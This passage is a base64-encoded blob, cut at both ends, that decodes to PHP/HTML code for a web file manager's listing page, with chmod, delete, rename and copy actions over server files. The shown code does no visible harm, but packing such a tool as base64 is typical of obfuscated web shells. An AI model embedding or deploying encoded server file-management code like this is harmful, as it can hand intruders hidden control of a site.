IGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAnMTAyOCcsJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSAuICcgJyAuIGxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIiBocmVmPVwiP3A9JmFtcDtjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz5cIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBmbHVzaCgpO1xuICAgICAgICAgICAgICAgICRpaSsrO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJGlrID0gODAwMjtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTtcbiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoXCJGIGQgWSBIOmk6cy5cIiwgJG1vZGlmX3JhdykpO1xuICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTtcbiAgICAgICAgICAgICAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcbiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICdcLycgLiAkZikpLCAtNCk7XG4gICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7IFxuICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XG4gICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaWQgPSBmaWxlb3duZXIoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pZCAhPSAwKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyX2luZm8gPSBwb3NpeF9nZXRwd3VpZCgkb3duZXJfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXJfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSAgJG93bmVyX2luZm87XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2lkID0gZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cF9pbmZvID0gcG9zaXhfZ2V0Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwI